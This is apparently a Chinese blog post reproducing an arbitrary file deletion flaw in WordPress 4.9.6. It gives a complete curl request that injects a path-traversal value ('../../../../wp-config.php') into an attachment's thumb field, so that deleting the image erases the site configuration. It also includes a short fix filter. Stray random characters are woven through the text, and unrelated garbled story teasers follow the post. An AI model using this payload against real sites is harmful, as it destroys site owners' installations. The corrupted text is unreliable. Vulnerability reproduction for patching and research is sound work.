最新版wordpress任意文件刪除漏洞復現(xiàn)

0X00 前言

在推特上看到了一篇paper吃沪,點我啊

wp很久沒看到洞了爆哑,這個漏洞七個月之前就上報了

image

可以直接利用刪除圖片那個功能刪除網(wǎng)站配置文件绘雁,導致網(wǎng)站只能重裝橡疼。

0X01 復現(xiàn)過程

這是我下載的最新版wordpress(4.9.6)
[圖片上傳失敗...(image-c8a6d4-1530100095072)]

登陸后臺:

image

上傳張圖片:
image

image

然后edit

發(fā)揮一下Curl的作用。
執(zhí)行:

 curl -v 'http://192.168.19.129/wordpress/wp-admin/post.php?post=7' -H 'Cookie: wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=wing%7C1531306971%7CZycd9e4B1COvm6oKBWF2SlMfqWu2u0xTG85eAD4giBx%7C099559ea1580b258b82765641ac85a51576507c8c3ebb8e131b20c9eec8f65bc; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=wing%7C1531306971%7CZycd9e4B1COvm6oKBWF2SlMfqWu2u0xTG85eAD4giBx%7Cba9defabde03b6acdb4a5c43fc39244efbec15913483ae43ff0b624be552f5a4; wp-settings-time-1=1530097413' -d 'action=editattachment&_wpnonce=28380b3d4a&thumb=../../../../wp-config.php'

這里把里面的cookie_wpnonce還有post的值換成你的咧七。

_wpnonce在頁面中:

image

image

302跳轉(zhuǎn)說明編輯成功衰齐。

image

現(xiàn)在點擊Delete Permanently即可。
image

image

配置文件成功刪除继阻。

漏洞原理作者博客上有細節(jié)耻涛,本意是刪除縮略圖。但是沒有對路徑做限制瘟檩,導致可以任意文件刪除抹缕。

作者給的修復代碼

add_filter( 'wp_update_attachment_metadata', 'rips_unlink_tempfix' );

function rips_unlink_tempfix( $data ) {
    if( isset($data['thumb']) ) {
        $data['thumb'] = basename($data['thumb']);
    }

    return $data;
}
```## 0x02 Sakura

雞肋之處在于需要登陸,但是危害蠻大的墨辛。

see you卓研!
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市睹簇,隨后出現(xiàn)的幾起案子奏赘,更是在濱河造成了極大的恐慌,老刑警劉巖太惠,帶你破解...
    沈念sama閱讀 216,651評論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件磨淌,死亡現(xiàn)場離奇詭異,居然都是意外死亡凿渊,警方通過查閱死者的電腦和手機梁只,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,468評論 3 392
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來埃脏,“玉大人搪锣,你說我怎么就攤上這事〔势” “怎么了构舟?”我有些...
    開封第一講書人閱讀 162,931評論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長堵幽。 經(jīng)常有香客問我旁壮,道長,這世上最難降的妖魔是什么谐檀? 我笑而不...
    開封第一講書人閱讀 58,218評論 1 292
  • 正文 為了忘掉前任,我火速辦了婚禮裁奇,結(jié)果婚禮上桐猬,老公的妹妹穿的比我還像新娘。我一直安慰自己刽肠,他們只是感情好溃肪,可當我...
    茶點故事閱讀 67,234評論 6 388
  • 文/花漫 我一把揭開白布免胃。 她就那樣靜靜地躺著,像睡著了一般惫撰。 火紅的嫁衣襯著肌膚如雪羔沙。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,198評論 1 299
  • 那天厨钻,我揣著相機與錄音扼雏,去河邊找鬼。 笑死夯膀,一個胖子當著我的面吹牛诗充,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播诱建,決...
    沈念sama閱讀 40,084評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼蝴蜓,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了俺猿?” 一聲冷哼從身側(cè)響起茎匠,我...
    開封第一講書人閱讀 38,926評論 0 274
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎押袍,沒想到半個月后诵冒,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,341評論 1 311
  • 正文 獨居荒郊野嶺守林人離奇死亡伯病,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,563評論 2 333
  • 正文 我和宋清朗相戀三年造烁,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片午笛。...
    茶點故事閱讀 39,731評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡惭蟋,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出药磺,到底是詐尸還是另有隱情告组,我是刑警寧澤,帶...
    沈念sama閱讀 35,430評論 5 343
  • 正文 年R本政府宣布癌佩,位于F島的核電站木缝,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏围辙。R本人自食惡果不足惜我碟,卻給世界環(huán)境...
    茶點故事閱讀 41,036評論 3 326
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望姚建。 院中可真熱鬧矫俺,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,676評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至铅匹,卻和暖如春押赊,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背包斑。 一陣腳步聲響...
    開封第一講書人閱讀 32,829評論 1 269
  • 我被黑心中介騙來泰國打工流礁, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人舰始。 一個月前我還...
    沈念sama閱讀 47,743評論 2 368
  • 正文 我出身青樓崇棠,卻偏偏與公主長得像,于是被迫代替她去往敵國和親丸卷。 傳聞我的和親對象是個殘疾皇子枕稀,可洞房花燭夜當晚...
    茶點故事閱讀 44,629評論 2 354